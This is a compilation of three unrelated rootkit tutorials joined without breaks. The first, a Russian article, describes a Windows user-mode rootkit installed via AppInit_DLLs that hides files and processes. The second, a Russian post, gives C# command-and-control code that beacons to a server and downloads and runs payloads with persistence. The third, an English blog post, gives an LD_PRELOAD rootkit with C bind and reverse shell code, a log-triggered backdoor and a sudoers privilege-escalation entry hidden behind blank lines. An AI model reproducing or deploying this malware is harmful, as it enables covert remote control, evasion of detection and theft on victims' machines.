Как написать руткит

User-mode rootkit: Скрытие файлов и процессов от пользователя

Всем привет.

Решил я «поиграться с руткитами», особенно понравились две статьи от уважаемого @Nik Zerof с «Хакера»:

https://xakep.ru/2018/01/26/winapi-hooks/

https://xakep.ru/2018/03/14/kmdf-driver/

Но тем не менее с одной стороны вроде всё понятно расписано, но с другой как мне показалось тема «сисек» до конца не раскрыта, в части боевого применения указанных методик.

Поэтому решил я посмотреть какие есть уже наработки и может-быть сделать что-то «свое», в кавычках т.к. многие вещи уже сделаны, иногда может проще сделать модификацию чего-то, чем писать с нуля…)

Итак для начала, небольшей ликбез какие бывают руткиты и для чего они нужны:

Я разделил такого типа программы на два класса:

1)User-mode rootkit (ring 3):

О них пойдет речь в этой статье, также здесь будет форк (Переработанная мной версия руткита r77 (https://bytecode77.com/hacking/payloads/r77-rootkit)), с автоматической установкой и удалением.

Итак User-mode руткиты, предназначены для скрытия сторонних программ непосредственно от пользователя, НО не от защитных решений, т.е. мы можем скрыть программу от диспетчера задач,
скрыть отображения файла в експлорере, процесс-хакере и т.д.

НО в данном типе руткита мы не можем скрыть процесс от антивирусов, файерволов и т.д. Т.к. они работают в режиме ядра и тут ничего не сделать в юзер-моде.:(

Итак вкратце плюсы таких программ:

  1. Относительно легко их писать. С основными техниками мы ознакомимся ниже.

  2. Легко устанавливать и внедрять в систему. Нужны только права администратора.

Минусы таких программ:

Как я уже сказал, мы несможем скрыть от защитных решений, которые работают на уровне ядра.

2)kernel-mode rootkit (ring 1):

Ну тут мы хозяева системы, мы можем скрывать своих зверьков как от пользователя, так и от защитных решений…

Плюсы таких решений:

Ну тут понятно, что можем написать такой руткит, что никто и никогда не найдет вашего зверька, даже если антивирусы добавят его в базы, ведь мы можем удалить процесс из списка процессов,
удалить отображение файла в файловой системе, управлять выводом и что хочешь делать…

Рекомендую почитать статью: https://xakep.ru/2018/03/14/kmdf-driver/

Минусы таких решений:

  1. Нужно понимать, что чем больше сила, тем больше ответственность, «Мы сами себе буратины», чуть ошиблись и синий экран смерти станет вашим другом.)

  2. Для инсталяции таких драйверов нужна цифровая подпись, да можно купить, но если заниматься черными делами, то подпись быстро заблокируют, а она стоит 300 баксов. :(

Итак с теорией в этой части всё, идем дальше:

Теперь небольшей ликбез о User-mode руткитах, как они работают:

Не секрет, что программы подключают сторонние библиотеки, для использования как API винды, так и каких-то сторонних функций.

Этим и пользуются взломщики, если сделать инжект в нужный процесс, то можно поставить хук на нужную функцию и подменить результаты работы этой функции,
более подробней про это можно прочитать здесь (Техника называется сплайсинг функций): https://xakep.ru/2018/01/26/winapi-hooks/

В статье сказано про платные библиотеки сплайсеров функции (Detours и madCodeHook), но не сказано про бесплатные аналоги, в данном решении я решил воспользоваться (https://github.com/TsudaKageyu/minhook)
да она не бесглючная, но в целом для демонстрации подхода, который будет описан здесь, вполне сгодится.)

Также если глянете исходник MinHook там как мне кажется не плохой «Hacker Disassembler Engine», отличный дизассемблер длин инструкций, можно его использовать для написания своего сплайсера,
но мне было лень заморачиваться, т.к. хотелось реализовать «свой подход», в кавычках т.к. тема не нова, уже есть разные движки, но было интересно поиграть…)))

Небольшей ликбез по сплайсерам:

Существует несколько библиотек перехвата API. Как правило, они делают следующее:
    

  1. Заменяет начальную часть определенного функционального кода нашим собственным кодом (также известным как трамплин).

  2. После выполнения функция переходит к обработчику хука.
        

  3. Сохраняет исходную версию замененного кода оригинальной функции. Это необходимо для правильной работы оригинальной функции.

  4. Восстанавливает замененную часть оригинальной функции.

Также нужно сказать, что есть два вида хуков функции:

Local hooks: Это хуки для конкретной программы (То-что описано в первой статье от @Nik Zerof).

Global hooks: Это хуки для всех программ, то-что сделаем мы.)

Как я упоминал ранее, при создании наших глобальных хуков мы будем использовать библиотеку Mhook.

Это бесплатная и простая в использовании библиотека с открытым исходным кодом для перехвата API Windows, поддерживающая архитектуры систем x32 и x64. Его интерфейс не сложен и не требует пояснений.

Теперь перейдем непосредственно к написанию нашего руткита:

Для скрытия процесса и файла в директории нам нужно перехватить как минимум две системные функции:

1)NtQuerySystemInformation — Получает огромный объем различной системной информации, в том числе и о процессах.

Многие функции Win32 в конечном итоге обращаются именно к этой функции для получения информации о процессах (Диспетчер задач, процесс хакер и т.д.).

Поэтому достаточно перехватить эту функцию в приложении и модифицировать структуру списка процессов.)

2)NtQueryDirectoryFile — Получает список файлов в директории.

Перехватив эту функцию, мы также можем модифицировать структуру списка файла (Будто файла и нет вовсе).

Теперь описание нашего руткита, что он делает и как всё устроено:

Задача, скрыть процессы и отображение файла как минимум в эксплорере винды и диспетчера задача.)

Для этого будет сделано следующее:

1)Написана dll, которая будет загружаться во всех приложениях и устанавливать глобальных хук на указанные выше функции.

2)Написан батник, который будет загружать наш руткит, что конкретно будет делать батник:

Есть ветка в реесте:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NT CurrentVersionWindows

А конкретно интересны следующие параметры:

AppInit_DLLs — определяет библиотеки, необходимые для совместимости с каким_нибудь оборудованием или программой.

Все описанные в данном параметре библиотеки будут запускаться перед запуском любой программы.

А также:

RequireSignedAppInit_DLLs — Если единица, то будет процерка цифровой подписи указанных в AppInit_DLLs библиотек (Нам нужно установить в ноль).

LoadAppInit_DLLs — Разрешает загрузку библиотек в глобальные области (Нам нужна единица).

Батник добовляет библиотеки руткита в AppInit_DLLs и устанавливает нужные параметры и перезапускает эксплорер.

Также для беккапа, делает экспорт ветки реестра, есть и батник удаляющий руткит из реестра.

После инсталяции руткит начнет работать и файлы помеченные в названием меткой «HIDE» не будут отображаться в эксплорере и диспетчере задач, а также в процесс-хакере и т.д.

Минусы данного способа:

  1. Могут быть затронуты только процессы, подключенные к User32.dll.

  2. Могут быть вызваны только функции из Ntdll.dll и Kernel32.dll: причина в том, что перехват DLL происходит в DllMain файла User32.dll, и никакая другая библиотека не инициализируется в этот момент.

  3. Нужно модифицировать реестр для инсталяции метода, для этого нужно обладать правами администратора системы.

ИСПОЛЬЗУЕМЫЕ ИСТОЧНИКИ:

  1. Это альтернативная версия данного руткита:https://bytecode77.com/hacking/payloads/r77-rootkit

  2. Альтернативная статья по скрытию процессов:https://www.apriorit.com/dev-blog/160-apihooks

  3. Журнал «Хакер», статьи:

https://xakep.ru/2018/01/26/winapi-hooks/

https://xakep.ru/2018/03/14/kmdf-driver/

Отличие от оригинального руткита:

1)Был написан батник для автоматической инсталяции руткита, способ установки руткита и проверки работоспособности:

  • В папке $Build для теста запустить «HIDE-ExampleExecutable_x64.exe» и «HIDE-ExampleExecutable_x86.exe».

  • Запустить диспетчер задач и посмотреть, что процессы отображаются в списке процессов.

  • Запустить файл «install.bat», ОБЯЗАТЕЛЬНО С ПРАВАМИ АДМИНИСТРАТОРА, перезапутить диспетчер задач и файлов в процессах уже не будет, также произойдет перезапуск explorer
    и файлы перестанут отображаться в папке.)

  • Для удаления сделайте следующее:

Батник «install.bat» сделает беккап ветке в файл «uninstall.reg», который появится после запуска батника, можно сделать экспорт этого файла.

Либо есть отдельный скрипт «uninstall.bat», достаточно запутить его.

2)Был убран мусор в коде и добавлен отладочный вывод, что руткит работает сигнализирует файл «С:rootkit_debug.txt», если он не появился, значит что-то пошло нетак и руткит незапустился.)

Протестировано на Windows 7 x64 и Windows 10.

Данная статья является первой моей статьей о руткитах для Windows и Linux.

Решил сделать цикл статей.)))

Сканы антивирусов на руткит:

Скан x86:
https://avcheck.net/id/Nk58BK40GpFy

Скан x64:
https://avcheck.net/id/y8l28ftIaGTj

Статья на форуме:https://ru-sfera.org/threads/user-mode-rootkit-for-windows-skrytie-fajlov-i-processov-ot-polzovatelja.3912/

Говорю сразу, мне 14 лет, софт такого типа я пишу уже давно, вообще начинал я с Delphi, но на то что-бы писать что-то подобное на C# меня вдохновил SooLFaa и его темы об BotNet’e на С#.

Давайте начнём с функций данного чуда, они как и у всех rootkit’ах минимальные, предназначены только для того что-бы добыть информацию об устройстве и отправить её на сервер, а дальше админ уже сможет подгружать на это устройство сторонний софт, исходя из информации которую он получил.

Пока я напишу только каркас, и загрузку файла с последующим запуском.

А теперь об работе, в данном случае мы будем использовать Web сервер, а общение с ним будет проходить с помощью GET запросов.
Так выглядит класс в котором есть всё что нужно для работы с сервером:

C#:

namespace Kernel
{
    class HTTPGet
    {
        public static string Indication()
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/reception.php?" + "id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            return new StreamReader(response.GetResponseStream()).ReadToEnd();
        }

        public static void File(string _file, string dir)
        {
            WebClient myWebClient = new WebClient();
            System.Uri Site = new Uri(Config.RootKitServer + @"/files/" + _file);
            myWebClient.DownloadFile(Site, dir + _file);
        }
    }

    class HTTPSend
    {
        public static void File(string file)
        {
            System.Net.WebClient Client = new System.Net.WebClient();
            Client.Headers.Add("Content-Type", "binary/octet-stream");
            byte[] result = Client.UploadFile(Config.RootKitServer + "/sfile.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword, "POST", file);
            string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
        }

        public static void Info(string data, string type)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/dispatch.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword + "&info=" + data);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
        }
    }
}

Так то, тут 2 класса, так просто удобней работать.

Как вы уже могли заметить, сервер опридиляет юзера по MAC адресу.
Вот так кстати его можно достать из системы:

C#:

public static string macAddresses()
{
            string macAddresses = "";
            foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (nic.OperationalStatus == OperationalStatus.Up)
                {
                    macAddresses += nic.GetPhysicalAddress().ToString();
                    break;
                }
            }
            return macAddresses;
}

А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:

C#:

public static bool EmergencyCopy()
        {
            string filename = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            string name = filename.Substring(0, filename.IndexOf('.'));
            Process[] pr = Process.GetProcesses();
            int count = 0;
            for (int i = 0; i < pr.Length; i++)
            {
                if (pr[i].ProcessName == name || pr[i].ProcessName == name + ".exe")
                {
                    count++;
                }
            }
            if (count > 1) { return true; } else { return false; };
        }

Ничего сложного.
А теперь перейдём к сложному, к самому Main классу программы, в котором и будет происходить всё самое интересное. Я сделал его по принципу switch to switch, так проще всего смотреть на код, что на счёт оптимизации, то можете подсказать в коментах. А вот и он:

C#:

static void Main(string[] args)
        {
            try
            {
                Thread.Sleep(Config.IntervalToStrart);
                if (EmergencyCopy())
                {
                    Environment.Exit(0);
                }

                if (Config.persistence)
                {
                    startup(true);
                }

                string Indication = null, type = null, subtype = null, cmd = null;
                while (true)
                {
                    Thread.Sleep(Config.IntervalToGetInst);
                    Indication = HTTPGet.Indication();

                    if (Indication != "")
                    {
                        type = Indication.Substring(0, Indication.IndexOf('.'));
                        subtype = Indication.Substring(Indication.IndexOf('.') + 1, Indication.IndexOf('=') - Indication.IndexOf('.') - 1);
                        cmd = Indication.Substring(Indication.IndexOf('=') + 1);

                        switch (type)
                        {

                            case "File":
                                switch (subtype)
                                {
                                    case "Upload":
                                        try
                                        {
                                            string Fcmd = cmd.Substring(0, cmd.IndexOf(',')), Scmd = cmd.Substring(cmd.IndexOf(',') + 1); //
                                            HTTPGet.File(Fcmd, Scmd); //Dir, File
                                            System.Diagnostics.Process.Start(Fcmd+Scmd);
                                        } catch { HTTPSend.Info("Error: Failed to upload file to device!", "err"); }
                                        break;
                                }
                                break;

                        }
                    }
                }

            } catch {
                System.Diagnostics.Process.Start(Assembly.GetExecutingAssembly().Location);
                Environment.Exit(0);
            }
        }

Вот пока и всё, если тема зайдёт буду писать дальше, а пока загрузки и запуска файла в общем хватит. Сервер у меня уже написан, если кому нужно пишите в коменты.

Думаю с Config файлом вы сможете и сами разобраться.

32 minute read

Background Information

This post is my solution for the last assignment in my Learning-C repository. I thought a good way to cap off a repo designed to introduce people to very basic C programming would be to take those very basic techinques and make a simple yet powerful security related program, namely a malicious shared library rootkit.

I came across LD_PRELOAD rootkits while watching a talk by @r00tkillah in 2016 about his initrd rootkit. He talks about historical approaches to Linux rootkits and the LD_PRELOAD approach gets some good coverage. Since it was described in the talk as a userland approach, I started reading about them and quickly discovered a few well-known implementations, namely the Jynx Rootkit. Jynx has a lot of articles discussing its features and how to detect it. It was fairly robust, checking in at around 1,500 lines of code in the main file and hooking ~20 syscalls.

My goal for this assignment since we had just learned how to hook syscalls in the previous assignment, was to create a userland rootkit which:

  • provided a backdoor/command-shell opportunity,
  • hid malicious network connections from netstat (and maybe lsof), and
  • hid malicious files.

To be clear: I’m fully aware this isn’t a robust, ground breaking program. These techniques have been analyzed and discussed for around 7 years now. BUT it is sort of a niche subject and something I don’t think many people have come across. I would also like to just point people towards blogs and posts that detail the technical details at play here instead of expounding on those details myself, as I am not an expert.

Do not use these techinques for malicious purposes. The technical explanation of the code and techniques below are simply my understanding of how they work. It is entirely possible I have completely misinterpreted how these programs behave and running them on your system could cause damage.

A lot has been written on the topic of Shared Libraries so I won’t spend much time here explaining them (we even touched on them in the last post). Shared or dynamic libraries define functions that the dynamic linker links to other programs during their run time. A common example is libc. This reduces the amount of code you need in a program executable because it shares function definitions with a library.

LD_PRELOAD is a configurable environment variable that allows users to specify a shared library to be loaded into memory for programs before other shared libraries. Just a quick example, if we check the shared libraries used by /bin/ls on a standard x86 Kali box, we get:

tokyo:~/ # ldd /bin/ls                                             
	linux-gate.so.1 (0xb7fcf000)
	libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0xb7f57000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d79000)
	libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0xb7d00000)
	libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7cfa000)
	/lib/ld-linux.so.2 (0xb7fd1000)
	libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7cd9000)

So we see a number of shared library dependencies for /bin/ls. If we set the environment variable for LD_PRELOAD to a notional shared library we can actually change what shared library dependencies that binary has. Furthermore, LD_PRELOAD allows us to specify that our chosen library is loaded into memory before all others. We can create a shared library called example.so and export it LD_PRELOAD as follows, and then check the library dependencies of /bin/ls:

tokyo:~/LearningC/ # export LD_PRELOAD=$PWD/example.so                                                                     
tokyo:~/LearningC/ # ldd /bin/ls                                                                                            
	linux-gate.so.1 (0xb7fc0000)
	/root/LearningC/example.so (0xb7f8f000)
	libselinux.so.1 => /lib/i386-linux-gnu/libselinux.so.1 (0xb7f43000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d65000)
	libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7d5f000)
	libpcre.so.3 => /lib/i386-linux-gnu/libpcre.so.3 (0xb7ce6000)
	/lib/ld-linux.so.2 (0xb7fc2000)
	libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7cc5000)

As you can see, our library at /root/LearningC/example.so is loaded first before any other library on disk. (Awesome explanation of that first library, “linux-gate.so.1”)

It should be noted that by not specifying a binary after the path to our shared library, LD_PRELOAD will use the specified shared library for all dynamically linked programs system wide.

/etc/ld.so.preload

As a way to avoid setting environment variables, we are also allowed to create a text file called /etc/ld.so.preload and shared libraries stored in this file delimited by a white space will be LD_PRELOAD‘d in a sense in the order that they’re written, again, system-wide. There is no way to specify a binary this way, this will apply to all dynamically linked programs. We can see that dynamically linked programs check for this file’s existence when they are called upon by using the strace utility to spy on what system calls a program makes when run. Let’s again try /bin/ls:

tokyo:~/LearningC/ # strace /bin/ls                                                                                        
execve("/bin/ls", ["/bin/ls"], 0xbf8d8e60 /* 47 vars */) = 0
brk(NULL)                               = 0xbc1000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ed6000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
-----snip-----

As you can see, /bin/ls calls the access() syscall, and checks to see if it has access to /etc/ld.so.preload; however, the return value is a -1 indicating that the file does not exist (No such file or directory).

Let’s create the file and then run this excercise again:

tokyo:~/LearningC/ # echo "" > /etc/ld.so.preload                                                                           
tokyo:~/LearningC/ # strace /bin/ls                                                                                        
execve("/bin/ls", ["/bin/ls"], 0xbfcba0a0 /* 47 vars */) = 0
brk(NULL)                               = 0x570000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7eff000
access("/etc/ld.so.preload", R_OK)      = 0
openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
-----snip-----

This time, we actually get an openat() syscall right after access() because access finishes with a return value of 0 indicating success. openat() returns a value of 3 as a file descriptor.

Let’s input our malicious example.so library in /etc/ld.so.preload and see what strace has to say about it.

tokyo:~/LearningC/ # strace /bin/ls                                                                                        
execve("/bin/ls", ["/bin/ls"], 0xbf956640 /* 47 vars */) = 0
brk(NULL)                               = 0x1a8f000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f64000
access("/etc/ld.so.preload", R_OK)      = 0
openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=27, ...}) = 0
mmap2(NULL, 27, PROT_READ|PROT_WRITE, MAP_PRIVATE, 3, 0) = 0xb7f92000
close(3)                                = 0
openat(AT_FDCWD, "/root/LearningC/example.so", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3
read(3, "177ELF11133136021004"..., 512) = 512

We see that not only did it open /etc/ld.so.preload, it read some values from the file and then opened our shared library for reading. We were able to get our shared library loaded into memory for the run time of /bin/ls.

As we have discussed in the Learning C progression, this preloading mechanism allows a root user to powerfully manipulate userland programs. We can effectively redefine common, frequently-used syscall functions and their higher-level abstraction wrapper functions to mean whatever we arbitrarily desire. If you need more information on this portion of our experiment please consult Assignment-27 of our Learning C repo where we go over a lot of the information discussed so far. In a previous example, we hooked puts() by using an example found in this blog post to check its buffer for a string and if found, print a different message to the terminal.

The Noob Rootkit “Manteau”

To meet my aforementioned rootkit goals I didn’t have to hook many syscalls. I ended up hooking write(), readdir(), readdir64(), fopen(), and fopen64(). If you discount the 64 variations for large file considerations, basically just 3 syscalls. With these 3 syscalls, we can hide from netstat, lsof, ls, and also spawn some plaintext connections to our attacker machine. “Manteau” means cloak in French, let’s make this as corny as possible.

Hooking write() For a Trigger!

Hooking write() was surprisingly simple for our purposes. I wanted to create a cool way to activate/trigger our rootkit from an external host. There have been some really cool ways to do this developed over the years but I tried to be somewhat low-tech and original. The Jynx rootkit I have discussed previously in the repo, hooked the accept() syscall (which we will be using a lot in this post) to check local and source port information of the connection as a way to check if the connection came from the attacker. These values were hardcoded in their malicious library and could be set at compile time. It then would prompt for a password and spawn an encrypted back connect over openssl. We won’t be doing anything that badass, but we will be doing something cool.

Making Syslog Evil

Initially, when contemplating ways to make a remote host do work after touching it in someway, I landed on the Apache access.log. What I thought I would do is, I would send a simple GET HTTP request with a magic string in the User Agent: field, and when the Apache process wrote that information to disk in the access.log, our hook would check the write() buffer for our magic string and if found, spawn a connection to our host.

This actually worked, and it worked really well! However, there was a small problem. It actually required me restarting Apache after specifying our malicious library in /etc/ld.so.preload so that was aesthetically displeasing to me. I didn’t like the fact that you’d have to restart a webservice for your rootkit, not saying our shared library is super stealth, but knocking over a webserver is kind of high-visibility.

Along those same lines, I discovered that the syslog user writes failed SSH attempts to auth.log. It logs the user’s username and IP address. Example entry: Failed password for nobody from 91.205.189.15 port 38556 ssh2. Awesome, we control the username field (nobody in the example) in a log on the system. The same problem applies, we must restart syslog after loading our shared library, but this isn’t as high visibility as say, restarting Apache. (Linux sysadmins let me know if I’m wrong about that).

A second problem we face is that we don’t want to come back to this box as syslog, we want to come back as root. There are probably a million ways to leave yourself privesc breadcrumbs, especially given that you can hide arbitrary files, but I chose to just visudo the sudoers file and add syslog. I also inserted about 80 newlines after the last bit of visible text in the file before adding the syslog ALL=(ALL) NOPASSWD:ALL entry so that the casual sudoers file editor hopefully wouldn’t notice. (LOL)

Alright, so we have a trigger idea and a built in privesc. Let’s write some C finally!

Write Hook

The write() hook I created is a lot like the puts() hi-jack we already studied surprisingly. The first portion looks like this:

ssize_t write(int fildes, const void *buf, size_t nbytes)
{
    ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);

    ssize_t result;

    new_write = dlsym(RTLD_NEXT, "write");


    char *bind4 = strstr(buf, KEY_4);
    char *bind6 = strstr(buf, KEY_6);
    char *rev4 = strstr(buf, KEY_R_4);
    char *rev6 = strstr(buf, KEY_R_6);

Let’s break this down:

  • ssize_t write(int fildes, const void *buf, size_t nbytes) this is the man page declaration of the write() function. This has to match perfectly or the calling process won’t use our shared library as a resource, it will continue to look for write() definition elsewhere. Now that we have the calling process’ attention;
  • ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes); we declare a second function with the same structure as the genuine write() function. This one is actually declaring a pointer but it is not yet initialized (it doesn’t yet point to anything). (*new_write) says “this is a pointer to a function called new_write()” and then the rest of the declaration provides a definition for the function that will eventually be pointed to;
  • new_write = dlsym(RTLD_NEXT, "write"); does something very crucial. We had already declared a pointer to new_write() but we hadn’t yet initialized it. Now we are initializing it and giving it a memory address to point to. It is now going to point to the address returned by dlsym [https://linux.die.net/man/3/dlsym]. dlsym is a way to interface with the dynamic linker and we give it two arguments. We ask it to find the next occurence (RTLD_NEXT) in the subsequent linked libraries of the call "write". dlsym returns the address of next occurence found of that "write" symbol. What would that be? Well, it’s going to be the address of the REAL write() function, because it’s going to consult the legitimate libraries after ours. So now, new_write is essentially just a reference to the actual real write() syscall as intended;
  • ssize_t result; we declare a variable of type ssize_t the data type returned by our write() function and call it result.
  • The last four lines are very similar, char *bind4 = strstr(buf, KEY_4); delcares and initializes a new pointer variable of the char type that is equal to the result of the strstr() function after comparing the buffer being written (a reference to the const void *buf argument in our write() syscall) to a harcoded defined variable KEY_4. You can set KEY_4 to whatever you like, I set it to #define KEY_4 "notavaliduser4". strstr() is very interesting. If it finds the second argument within the first argument, it will return a pointer to the first occurence of the second argument. So if it returns a NULL we know that it didn’t find a match.

Let’s look at the next block of code:

 if (bind4 != NULL)
    {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv4_bind();
    }

    else if (bind6 != NULL)
    {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv6_bind();
    }

    else if (rev4 != NULL)
    {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv4_rev();
    }

    else if (rev6 != NULL)
    {
        fildes = open("/dev/null", O_WRONLY | O_APPEND);
        result = new_write(fildes, buf, nbytes);
        ipv6_rev();
    }
    
    return result;
}

Although long, there’s not a lot to get through here. We’ve basically used if/else if to check the buffer being written for mulitple sub-strings that we’re using as our trigger. Let’s break it down:

  • if (bind4 != NULL) we check to see if the variable bind4 is NULL and if it’s not, we jump to our logic;
  • fildes = open("/dev/null", O_WRONLY | O_APPEND); if it’s not NULL, then we have a match, we know we’re trying to activate the rootkit because we sent our magic string notavaliduser4 as an SSH attempt. Of course that will fail, so syslog will log that and activate our hooked write() syscall. Since we have a match, we don’t actually want it written to log that we tried to do fishy stuff. So let’s re-route the write() operation by first using open() to open /dev/null in an append and write mode and then passing that return value to the int filedes variable we had already used in our function declaration. It should be mentioned that routing to /dev/null is just one solution, you could also just not write() at all. You are God here (well, userland God anyway);
  • result = new_write(fildes, buf, nbytes); we now do a normal write operation on /dev/null and give the return value to our ssize_t result variable we defined in our function declaration. This result variable can now be delivered to follow on functions. syslog calls something like open() to open auth.log it then calls write() because it has a buffer it needs to put in the file (our failed SSH attempt) and then the write operation returns a result in the form of our variable result which is probably just an indication of completion or failure. To the process, nothing here is broken, it called write, and got a result as intended. Know that when syslog called write() here, it had values it used as arguments in place of the function declaration arugments. It didn’t pass const void *buf to write() when it called it for example, it passed it something like a pointer to a string that said “failed SSH attempt for…”;
  • ipv4_bind() is the name of a function that is being called which binds a command shell to a listening port. That function is defined above in the program. We will show what that is later, but essentially it’s just our IPV4 TCP bind shell that we wrote in a previous assignment on port 65065.

So, our trigger hit the write buffer, was written to /dev/null instead of /var/log/auth.log, a function opening a bind shell was called, and then finally we need to return the result to the calling process so it knows whether or not the write() function worked. We accomplish that with the last bit of code return result;.

We have quite a few possiblities here. All in all, there are 4 distinct triggers for an IPv4 bindshell, IPv6 bindshell, IPv4 reverse-shell, and IPv6 reverse-shell. Let’s dig into those a bit. We won’t recapitulate the entire piece of code in each since we’ve already completed a bind shell, but we’ll focus on the new aspects. Here is each function:

ipv4_bind() Bind Shell

 int ipv4_bind (void)
{
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LOC_PORT);
    addr.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    const static int optval = 1;

    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

    bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));

    listen(sockfd, 0);

    int new_sockfd = accept(sockfd, NULL, NULL);

    for (int count = 0; count < 3; count++)
    {
        dup2(new_sockfd, count);
    }

    char input[30];

    read(new_sockfd, input, sizeof(input));
    input[strcspn(input, "n")] = 0;
    if (strcmp(input, PASS) == 0)
    {
        execve("/bin/sh", NULL, NULL);
        close(sockfd);
    }
    else 
    {
        shutdown(new_sockfd, SHUT_RDWR);
        close(sockfd);
    }
    
}

The new code that wasn’t present in our last implementation of a bind shell, really starts in earnest with read(new_sockfd, input, sizeof(input));. You can see that a little earlier in the program we had declared a char input[30] variable. What we’re doing here is executing a read() syscall and passing it the file descriptor returned by our accept() command. So when someone makes a connection to our bind shell, we are reading their input.

We use the strcspn() function, which returns the number of characters in the first argument string that exist before we reach the 2nd argument. So since the user would enter a password and then hit return, they would send something like "reallygoodpasswordn" as our input. input[strcspn(input, "n")] = 0; says the value of the last index of the input variable is 0, effectively null terminating our string for us by replacing the newline character with a null terminator. Let’s test out our theory here with this simple code where read input from stdin and store it in input:

 int main (void)
{
    char input[30];
    read(0, input, sizeof(input));
    input[strcspn(input, "n")] = 0;
    printf("The input was %s", input);
}

Let’s compile and run this:

tokyo:~/LearningC/ # gcc test.c -o test
tokyo:~/LearningC/ # ./test                                                                                                
password
The input was password#

So this is what we use to compare the user’s input to our hardcoded password defined by PASS with the strcmp() function.

If strcmp() returns a 0, indicating the arguments matched, the program issues an execve() call and pushes to the /bin/sh program to the connection giving the end user a command shell.

If strcmp() returns a value other than 0, indicating there was not a match between the arguments, the socket associated with the accept() syscall is shutdown, and the listening socket is closed.

The ipv6_rev() function works very similarly except it has been programmed to deal strictly with IPv6 traffic.

ipv4_rev() Reverse Shell

Below is the code block defining our IPv4 reverse shell function:

int ipv4_rev (void)
{
    const char* host = REM_HOST4;

    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(REM_PORT);
    inet_aton(host, &addr.sin_addr);

    struct sockaddr_in client;
    client.sin_family = AF_INET;
    client.sin_port = htons(LOC_PORT);
    client.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    bind(sockfd, (struct sockaddr*) &client, sizeof(client));

    connect(sockfd, (struct sockaddr*) &addr, sizeof(addr));

    for (int count = 0; count < 3; count++)
    {
        dup2(sockfd, count);
    }

    execve("/bin/sh", NULL, NULL);
    close(sockfd);

    return 0;
}

The ipv4_rev() function works very similarly to the bind shell we just explained; however, the remote host address and port have been hardcoded and defined by the REM_HOST4 and REM_PORT definitions respectively.

One other aspect of the reverse shell, is that we issue a bind() syscall with the following line: bind(sockfd, (struct sockaddr*) &client, sizeof(client));. client in this case is a reference to our client struct of type sockaddr which describes the victim host (the client in a reverse shell paradigm). This line of code helps us ensure that the outgoing reverse shell connection is coming from a specific source port (LOC_PORT or 65065) on the victim which will come in handy later when we are hiding connections from /bin/netstat based on a port number.

The IPv6 reverse shell function works very similarly.

Wrapping Up Our write() Hook

We have hooked all write() calls system wide and have isolated syslog writing to the /var/log/auth.log file to log failed SSH attempts. We use a trigger word as our username, which tells the hooked command to either spawn a bind or reverse shell over either IPv4 or IPv6. We have a lot of options for our backdoor now.

Hiding From netstat (and lsof ??)

Now that we have a functioning backdoor, it’s time to hide those connections from netstat. We’ve picked a high port for our shell functions so that the host is always using local port 65065 for our connections. This is a pretty random port to use so we will avoid a lot of false positives hopefully.

To understand how to hide from these utilities, we first have to understand what syscalls they’re making when they’re run. Let’s open up a listener on 65065 and run netstat with strace to see what’s going on under the hood:

tokyo:~/LearningC/ # strace netstat -ano | grep -v unix                                                                     
execve("/usr/bin/netstat", ["netstat", "-ano"], 0xbfd0de64 /* 47 vars */) = 0
-----snip-----
openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY|O_LARGEFILE) = 3
read(3, "  sl  local_address rem_address "..., 4096) = 450
read(3, "", 4096)                       = 0
close(3)                                = 0
-----snip-----
